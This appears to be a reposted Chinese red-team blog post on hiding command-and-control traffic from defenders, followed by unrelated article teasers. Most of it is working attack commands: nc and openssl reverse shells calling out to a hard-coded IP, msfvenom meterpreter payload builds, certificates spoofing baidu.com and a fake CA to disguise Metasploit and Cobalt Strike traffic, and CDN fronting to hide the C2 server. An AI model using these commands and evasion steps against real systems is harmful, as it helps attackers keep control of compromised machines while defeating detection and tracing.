【红队APT】反朔源流量加密CSMSF证书指纹C2项目CDN域前置

news2024/11/16 6:57:39

文章目录

  • 背景交代:
    • 常见红蓝对抗中红队面临问题:
    • 蓝队发现处置情况:
  • NC-未加密&加密后-流量抓包对比
  • MSF-流量通讯特征修改-证书-openssl
    • 解决HTTPS-SSL通讯证书被特征标示问题
    • impersonate_ssl模块
  • CS-流量通讯特征修改-证书指纹-keytool
    • 1.修改默认端口:
    • 2.去除store证书特征:
    • 3、去除流量通讯特征:
    • DIY Profiles文件
  • CS-防封锁处置IP地址-C2&CDN隐藏IP
  • 发挥想象:

背景交代:

在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,
却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,
这时就需要对Cobalt Strike或MSF的特征进行隐藏、对其通信流量进行混淆。

常见红蓝对抗中红队面临问题:

1、通讯协议走TCP&UDP协议,直接被防火墙限制出网
2、通讯协议走无加密HTTP协议,直接明文传输成指纹特征
3、通讯协议走HTTPS或DNS加密协议,直接工具证书成指纹特征
4、通讯协议走HTTPS或DNS加密协议,特征指纹等修改后又被朔源拉黑

红队进行权限控制,主机开始限制出网,尝试走常见出网协议http/https,结果流量设备入侵检测检测系统发现异常,尝试修改工具指纹特征加密流量防止检测,结果被定位到控制服务器,再次使用CDN,云函数,第三方上线等进行隐藏保证权限维持。

蓝队发现处置情况:

1.蓝队-朔源后拉黑控制IP
2.蓝队-设备平台指纹告警
3.蓝队-流量分析异常告警

NC-未加密&加密后-流量抓包对比

nc -lvvp 5566
nc -e /bin/bash 47.94.130.42 5566

未进行流量加密之前:这里可以清晰地看到通过nc执行的相关系统命令,很容易被安全设备检测到
在这里插入图片描述

在我们的攻击端生成自签名证书(加ssl)

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

在这里插入图片描述

在攻击机上监听指定端口,这里我选择4455

openssl s_server -quiet -key key.pem -cert cert.pem -port 4455

在受害机上执行shell反弹命令(注意修改ip和端口)

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.130.42:4455 > /tmp/s;

在这里插入图片描述
这里可以看到,流量进行了加密,只能隐约的看到一些ssl证书信息。

MSF-流量通讯特征修改-证书-openssl

解决HTTPS-SSL通讯证书被特征标示问题

传统msf虽然使用https等加密方式,不过仍然会有特征(head头部固定)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=47.94.130.42  LPORT=4455 -f exe -o msf.exe

为了方便流量与其他协议作区分,这里我使用http协议;生成后在虚拟机中上线,不过遇到了奇怪的事情就是,我在上线的虚拟机中抓不到http流量的数据包,而在物理机中抓到了(emmm我也不太懂为什么会这样)
在这里插入图片描述
这里可以很明显的看到:固定的GET/POST乱码请求,以及固定的Firefox UA头,下方的post乱码数据是我做的命令交互

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=47.94.130.42  LPORT=4455 -f exe -o msf-https.exe

那么如果使用msf生成https协议的后门呢?
采用msf自带的证书进行上线(但是还是会被流量设备、IDS、IPS等设备检测(特征库))
在这里插入图片描述
这里可以看到msf自带的证书,这里我们对该证书进行伪装(这里其实流量上没做什么改变,知识对默认证书指纹做了修改)

1.利用openssl生成证书:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt

2.MSF生成绑定证书后门:

msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.130.42 LPORT=4455 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o msf-https-cer.exe

3.MSF监听上线:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run

在这里插入图片描述

impersonate_ssl模块

此外Metasploit框架还有一个auxiliary/gather/impersonate_ssl模块,可以用来自动从信任源创建一个虚假证书,十分方便:

use auxiliary/gather/impersonate_ssl 
set RHOST www.baidu.com
run

在这里插入图片描述

CS-流量通讯特征修改-证书指纹-keytool

-解决HTTP/S通讯证书及流量特征被特征标示问题
JDK Keytool 修改CS特征

1.修改默认端口:

编辑teamserver文件,更改server port默认端口50050

在这里插入图片描述
比如说我这里伪装成MongoDB数据库端口,同样连接服务端的时候密码也需要更改为27017
此外CS在运行的时候加载cobalstrike.store证书(默认配置)

2.去除store证书特征:

查看证书指纹:

keytool -list -v -keystore cobaltstrike.store	#keytool java jdk自带

在这里插入图片描述
这里可以很明显的看到很明显的cobaltstrike特征,于是我们在证书指纹方面对CS进行二次更改
生成自定义证书指纹:

keytool -keystore cobaltstrike1.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"

在这里插入图片描述
应用证书指纹:

keytool -importkeystore -srckeystore cobaltstrike1.store -destkeystore cobaltstrike1.store -deststoretype pkcs12

3、去除流量通讯特征:

背景:CS原始HTTP监听器心跳数据包
在这里插入图片描述
规则资源:
https://github.com/xx0hcd/Malleable-C2-Profiles
https://github.com/FortyNorthSecurity/C2concealer
在这里插入图片描述
重新生成后门文件进行上线抓取心跳包
在这里插入图片描述
成功修改心跳包特征

DIY Profiles文件

1.创建C2文件:xiaodi.Profiles
2.写入通讯规则: UA头&GET&POST&心跳&证书等
3.测试规则正常:./c2lint whgojp.prifile
4.加载C2规则启动:

./teamserver ip 密码 whgojp.Profiles
https-certificate {
  set CN      "whgojp e-Szigno Root CA";
  set O        "whogjp Ltd.";
  set C        "HU";
  set L        "Budapest";
  set OU      "e-Szigno CA";
  set ST      "HU";
  set validity "365";
}

#设置,修改成你的证书名称和证书密码

code-signer{
  set keystore "whgojp.store";
  set password "123456";
  set alias "whgojp.top";
}

伪造的证书与下方对应

keytool -keystore whgojp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"

隐藏:
域前置、CDN、云函数,网盘第三方上线等

CS-防封锁处置IP地址-C2&CDN隐藏IP

解决HTTPS-SSL通讯被朔源IP封锁问题
配置:
https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw
1、阿里云备案域名&全站加速CDN配置
在这里插入图片描述
尝试超级ping一下,配置成功
在这里插入图片描述
开了CDN之后,每超级ping一次都是人民币的声音emmm
2、CS创建监听器-HTTPS/Stager/Header
在这里插入图片描述
3、生成后门-进程网络状态&威胁情报平台
成功上线运行
在这里插入图片描述
使用火绒剑查看网络连接情况
在这里插入图片描述
很显然这里并不是我的真实IP 赶快把CDN服务关了,顶不住了

发挥想象:

域前置?转发器换成CDN;
云函数?转发器换成云函数转发;
代理隐藏?转发器换成代理机;
网关隐藏?转发器换成网关;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/431412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】哈希的应用——bitset(STL)位图

哈希的应用——bitset(STL)位图 文章目录 哈希的应用——bitset(STL)位图一、bitset的介绍1.位图的引入2.位图的概念3.位图的应用 二、bitset的使用1.bitset的构造方式2.bitset成员函数的使用3.bitset运算符的使用 三、bitset位图的模拟实现1.位图的基本框架2.成员函数2.1.构造…

【Linux】进程学习(1)---理解进程概念

文章目录 冯诺依曼体系结构理解冯诺依曼体系结构 操作系统概念与定位概念计算机管理模型计算机的软硬件体系结构图系统调用和库函数概念 进程基本概念描述进程--PCBtask_struct内容分类组织进程 冯诺依曼体系结构 数学家冯诺依曼提出了计算机制造的三个基本原则&#xff0c;即采…

gnome换回纵向切换工作区

效果&#xff1a; 思路 最新的debian / ubuntu中用的gnome 4.x&#xff0c;工作区切换变成了左右切换&#xff0c;习惯了上下&#xff0c;真的很不舒服。 而且优化选项里也把设置开关取消掉了&#xff0c;解决方案是使用Vertical overview这个扩展&#xff1a; ## 安装扩展管…

5.1 大数定律

我的理解&#xff1a; 大数定律的基本思想是&#xff1a;当我们有足够的样本数量时&#xff0c;样本的平均值可以相对准确地估计总体的平均值。这是因为随着样本数量的增加&#xff0c;样本平均值的波动会逐渐减小&#xff0c;从而趋向于总体平均值。 我们可以通过一个简单的…

rk3568-rk809电池电量计

简介&#xff1a; RK809 集成在RK3568上的一个高性能的 PMIC&#xff08;(Power Management IC):电源管理集成电路&#xff09;&#xff0c;PMIC全称Power management integrated circuit&#xff0c;一般情况下是一颗独立于主控的芯片&#xff0c;集成了电源控制&#xff0c;电…

Docker源码阅读总结

Docker总架构图 客户端-服务器架构以及请求的发送&#xff0c;解析等原理不再赘述&#xff0c;这不是我们学习docker的重点。我们知道&#xff0c;Docker提供给了我们一个在隔离环境中运行的进程&#xff0c;那么我其实想深入探究的是 容器的网络是怎么在这个隔离的环境中与其…

【花雕学AI】如何避免ChatGPT封号,安全稳定地使用ChatGPT的技巧和简单过渡办法

虽然ChatGPT 目前已经不是测试期了&#xff0c;它在 2021 年 11 月正式推出&#xff0c;并且在 2021 年和 2022 年后进行了多次更新&#xff0c;提升了真实性和数学能力等方面。但是&#xff0c;ChatGPT 的运算压力仍然很大&#xff0c;因为它需要处理海量的数据和请求&#xf…

ASUS ZenBook Duo 14 UX481电脑 Hackintosh 黑苹果efi引导文件

原文来源于黑果魏叔官网&#xff0c;转载需注明出处。&#xff08;下载请直接百度黑果魏叔&#xff09; 硬件型号驱动情况 主板ASUS ZenBook Duo 14 UX481 处理器• Intel Core i7-10510U • Intel Core i5-10210U 已驱动 内存Internal 4GB 2666 Changeable 8GB 2666 mem…

【WCH】CH32F203基于硬件I2C + SSD1306 OLED跑图形库

【WCH】CH32F203基于硬件I2C SSD1306 OLED跑图形库 &#x1f388;基于STM32图形库开源项目地址&#xff1a;https://github.com/hello-myj/stm32_oled&#x1f4cc;相关篇《【WCH】CH32F203硬件I2C驱动SSD1306 OLED》&#x1f4cd;《【WCH】CH32F203软件I2C驱动SSD1306 OLED》…

CountDownLatch背后的原理

前言&#xff1a; 在日常工作中常用到多线程&#xff0c;如果使用多线程处理那么就要考虑同步问题&#xff0c;一般我们会考虑使用加锁来解决。但是还有一些场景&#xff0c;如下&#xff1a; 场景&#xff1a;小升初考试&#xff0c;考生做题&#xff0c;监考老师要等待所有考…

论文阅读【2】-SepViT: Separable Vision Transformer论文结构漫谈与Python实现测试

可分离卷积ViT实现轻量级transformer结构1. 论文主要工作1.1 摘要内容1.2 写作动机&#xff08;Motivations&#xff09;1.2.1 Transformer Patch结构的巨大计算量问题1.2.2 Swin&#xff1a;针对计算量的优化1.2.3 Twins&#xff1a;针对边缘端部署优化1.2.4 Cswin&#xff1a…

【c#串口通信(2)】串口相关参数介绍

1、端口号&#xff08;Port&#xff09; 我们使用一个串口的时候&#xff0c;首先是要打开这个串口&#xff0c;那么我们怎么知道电脑上现在支持几个串口呢&#xff1f;对应的端口号又是什么呢&#xff1f; 由于我的电脑系统是window11&#xff0c;下面就以window11为例介绍如…

部分国产水文水动力模型介绍

一、HydroMPM模型 1、模型介绍 2016年度自立项目HydroMPM系统开发与集成完成的洪水分析模拟软件等成果经权威专家鉴定整体达到国际领先水平&#xff0c;HydroMPM_FloodRisk入选国家防总《全国重点地区洪水风险图编制项目可选软件名录》。成果应用项目100余项&#xff0c;累计…

spring自定义命名空间

命名空间 如果你曾经在配置datasource是用过properties文件储存我们的数据库连接信息&#xff0c;那么一定在xml文件中配置过这样的语句。 <context:property-placeholder location"classpath:jdbc.properties"/>而我们的spring当中很明显是没有这个context的…

【git】git的一些基础操作

文章目录一.git下载二.git初次操作1.生成公钥2.修改全局用户名和邮箱地址&#xff1a;3.本地仓库关联远端仓库4.本地初始化5.将项目上所有的文件添加到本地仓库6.提交到本地仓库7.创建main分支8.推送到main分支三.git其他操作1.develop分支2.查看分支3.切换分支4.查看分支历史一…

python wannier90 基于wannier90的*_hr.dat文件选取截断hopping绘制能带图

我们知道wannier90可以根据选取TMDs的轨道信息生成详细的hopping energy *_hr.dat文件&#xff0c;选取所有的hopping绘制起来的时候比较简单&#xff0c;但是我们发现取几圈的近似hopping也可以将band表示出来&#xff0c;类似的思想有Pybinding的三带近似&#xff08;DOI: 10…

区块链技术在软件开发中的应用

如果你是一名软件开发者或者IT从业者&#xff0c;你一定已经听说过区块链技术。区块链是一种基于密码学的分布式账本技术&#xff0c;被广泛应用于数字货币、金融、物联网等领域。但是&#xff0c;除了这些领域之外&#xff0c;区块链技术还可以在软件开发中发挥重要作用。本文…

CLIP 论文解读

文章目录模型训练推理实验与Visual N-Grams 相比较分布Shift的鲁棒性不足参考现有的计算机视觉系统用来预测一组固定的预订对象类别&#xff0c;比如ImageNet数据集有1000类&#xff0c;CoCo数据集有80类。这种受限的监督形式限制了模型的通用性和可用性。使用这种方法训练好的…

《花雕学AI》02:人工智能挺麻利,十分钟就为我写了一篇长长的故事

ChatGPT最近火爆全网&#xff0c;上线短短两个多月&#xff0c;活跃用户就过亿了&#xff0c;刷新了历史最火应用记录&#xff0c;网上几乎每天也都是ChatGPT各种消息。国内用户由于无法直接访问ChatGPT&#xff0c;所以大部分用户都无缘体验。不过呢&#xff0c;前段时间微软正…

Nginx实现会话保持,集群模式下session域共享

前言 生产环境下&#xff0c;多数系统为了应对线上多种复杂情况而进行了集群架构的部署&#xff0c;保证系统的高性能、价格有效性、可伸缩性、高可用性等。通常将生产环境下的域名指向Nginx服务&#xff0c;通过它做HTTP协议的Web负载均衡。 session是什么 在计算机中&…